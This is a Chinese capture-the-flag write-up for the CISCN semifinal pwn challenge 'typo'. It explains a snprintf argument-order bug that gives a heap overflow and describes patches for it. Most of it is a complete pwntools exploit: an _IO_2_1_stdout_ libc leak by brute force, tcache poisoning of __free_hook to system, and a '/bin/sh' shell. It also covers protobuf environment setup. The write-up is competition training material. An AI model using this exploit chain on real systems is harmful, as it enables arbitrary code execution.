ciscn18届_半决赛
zach0ry Pwn 选手

typo

感谢i xpp师傅的指导

分析

漏洞点在edit

int snprintf(char *str, size_t size, const char *format, …);

1 目标缓冲区地址
2 最大写入长度
3 格式字符串
4 后面的格式化参数

image-20260307165139097

在 glibc 中:

1
int snprintf(char *str, size_t size, const char *format, ...);

参数顺序是:

参数 含义
str 输出缓冲区
size 最大写入长度
format 格式化字符串
格式化参数

eg: snprintf(buf, 0x20, "%lu", value);

现在

1
2
3
4
5
6
snprintf(
heap_list[index],(写入地址)
"%lu", (巨大的size)
new_size, (格式化字符串,完全可控)
8
);

所以就可以造成溢出

patch

把snprintf函数改回应有的样子

image-20260307173143870

image-20260307165241228

改后

注意所改变的寄存器在后面是否会用到

image-20260307172958710

image-20260307172917517

也可以直接把snprintf函数nop掉

思路

灭有show函数,先尝试IO_2_1_stdout泄露libc基址,还是先办法用unsorted bin覆盖其它bin链,借此来改fd,

并且snprintf函数存在溢出

改chunk1的fd那个伪size,让它之后可以覆盖其它的chunk,准备工作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
add(0,0x60)
add(1,0x60)
add(2,0x60)
add(3,0x100)
add(4,0x100)
add(5,0x200)
add(6,0xe0)
add(7,0xe0)
# dbg()
p.recvuntil('>> ')
p.sendline('3')
p.recvuntil(':')
p.sendline('0')
p.recvuntil(': ')
pay = b'A' * 0x70+p64(0xFFFF) #要把chunk1的size用a覆盖,因为snprintf会被0截断
p.send(pay)
p.recvuntil(': ')
p.send('1')

image-20260311162904732

之后就可以通过chunk1的伪size那条路改chunk2的size,保证它free之后进入unsorted bin

感觉先把chunk2 free掉爆破成功的概率会更高呢,有什么逻辑吗:question:

1
2
3
4
5
6
edit(1,20,b"a"*0x60+p64(0x4a1))#chunk2_addr+size=chunkn_addr
dele(2)
dele(4)
dele(3)
add(2, 0x60)
# dbg()

image-20260311163155787

之后就可以改bin链里面的地址然后malloc到_IO_2_1_stdout_去输出flag了

这里我也有一个问题

_IO_2_1_stdout_的后三位是0x6a0,直接覆盖他为什么不可以呢,欢迎师傅们指教

image-20260311164815861

如果使用这个的话

爆破爆不到

image-20260311165032361

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
try:
stdout_offset = (libc.sym['_IO_2_1_stdout_'] - 0x10) & 0x0FFF
edit(1,20,b"\x00"*0xd8+p16(stdout_offset + 0x1000))#试试吧
# edit(1,20,b"\x00"*0xd8+b"\xa0\x56")#试试吧
add(8,0x100)
add(9,0x100)
pay = p64(0)+p64(0xFBAD1800) + p64(0) * 3 + p8(0)
edit(9, len(pay), pay)
leak = p.recvuntil(b'\x00' * 8, timeout=1)
if not leak:
raise Exception("Leak Failed")

libc_base = u64(p.recv(8).ljust(8, b'\x00')) - 2017664

# 简单的 Libc 地址对齐校验
if libc_base & 0xfff != 0:
raise Exception("Invalid Libc Base")

image-20260311164407256

image-20260311164518745

拿到flag之后就是正常打了,这里libc是2.31的,tcache不校验fd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
    dele(7)
dele(6)

pay = (0x4c0+0x48) * b'\x00' + p64(free - 0x10)
edit(1, len(pay), pay)

# ---------------------七阶段----------------------------------------------
add(6, 0xe0)
add(7, 0xe0)
edit(7, 0x40, p64(0) + p64(libc.sym['system']))

# ---------------------八阶段----------------------------------------------
pay = b"a"*(0x68)+ b'/bin/sh\x00'
edit(1, len(pay), pay)
dele(2)
p.interactive()
break # 退出循环

except Exception as e:
p.close()
continue # 尝试下一次

image-20260311165249348

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
from pwn import *
import sys
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='info')
file_path = "./pwn"
remote_host = "192.168.137.1"
remote_port = 2121

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

elf = ELF(file_path)
libc = elf.libc
# if 're' in sys.argv:
# p = remote(remote_host, remote_port)
# else:
# p = process(file_path)
# # gdb.attach(p, """
# # b *0x08048666
# # c
# # """, api=True)


def dbg():
gdb.attach(p)
pause()
def sla(a, b):p.sendlineafter(a, b)
def ru(a):p.recvuntil(a)
def sa(a, b):p.sendafter(a, b)
def add(idx, size):
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil(':')
p.sendline(str(idx))
p.recvuntil(': ')
p.sendline(str(size))

def dele(idx):
p.recvuntil(b'>> ')
p.sendline('2')
p.recvuntil(b':')
p.sendline(str(idx))

def edit(idx, size, text):
p.recvuntil('>> ')
p.sendline('3')
p.recvuntil(':')
p.sendline(str(idx))
p.recvuntil(': ')
p.sendline(str(size))
p.recvuntil(': ')
p.send(text)


for i in range(1, 101):
log.info(f"第 {i} 次爆破尝试...")
p=process("./pwn")
add(0,0x60)
add(1,0x60)
add(2,0x60)
add(3,0x100)
add(4,0x100)
add(5,0x200)
add(6,0xe0)
add(7,0xe0)
# dbg()




p.recvuntil('>> ')
p.sendline('3')
p.recvuntil(':')
p.sendline('0')
p.recvuntil(': ')
pay = b'A' * 0x70
pay += p64(0xFFFF)
p.send(pay)
p.recvuntil(': ')
p.send('1')

edit(1,20,b"a"*0x60+p64(0x4a1))#chunk2_addr+size=chunkn_addr
# dbg()

dele(4)
dele(3)
dele(2)
add(2, 0x60)
# dbg()
try:
stdout_offset = (libc.sym['_IO_2_1_stdout_'] - 0x10) & 0x0FFF
edit(1,20,b"\x00"*0xd8+p16(stdout_offset + 0x1000))#试试吧
add(8,0x100)
add(9,0x100)
pay = p64(0)+p64(0xFBAD1800) + p64(0) * 3 + p8(0)
edit(9, len(pay), pay)

leak = p.recvuntil(b'\x00' * 8, timeout=1)
if not leak:
raise Exception("Leak Failed")

libc_base = u64(p.recv(8).ljust(8, b'\x00')) - 2017664

# 简单的 Libc 地址对齐校验
if libc_base & 0xfff != 0:
raise Exception("Invalid Libc Base")

libc.address = libc_base
free= libc.sym['__free_hook']
log.success(f'Libc Base -> {hex(libc_base)}')

dele(7)
dele(6)

pay = (0x4c0+0x48) * b'\x00' + p64(free - 0x10)
edit(1, len(pay), pay)

# ---------------------七阶段----------------------------------------------
add(6, 0xe0)
add(7, 0xe0)
edit(7, 0x40, p64(0) + p64(libc.sym['system']))

# ---------------------八阶段----------------------------------------------
pay = b"a"*(0x68)+ b'/bin/sh\x00'
edit(1, len(pay), pay)
dele(2)
p.interactive()
break # 退出循环

except Exception as e:
p.close()
continue # 尝试下一次

Prompt

环境

ldd pwn查看

看到libprotobuf.so libprotobuf-c.so就证明是protobuf壳

image-20260311204957774

先软连接改名

1
2
ln -s libseccomp.so.2.5.5 libseccomp.so.2
ln -s libprotobuf-c.so.1.0.0 libprotobuf-c.so.1

然后在脚本中

p = process(["./ld-linux-x86-64.so.2","--library-path",".","./pwn"])让文件优先从当前目录下找链接文件

运行./ld-linux-x86-64.so.2 --library-path . ./pwn

gdb调试gdb --args ./ld-linux-x86-64.so.2 --library-path . ./pwn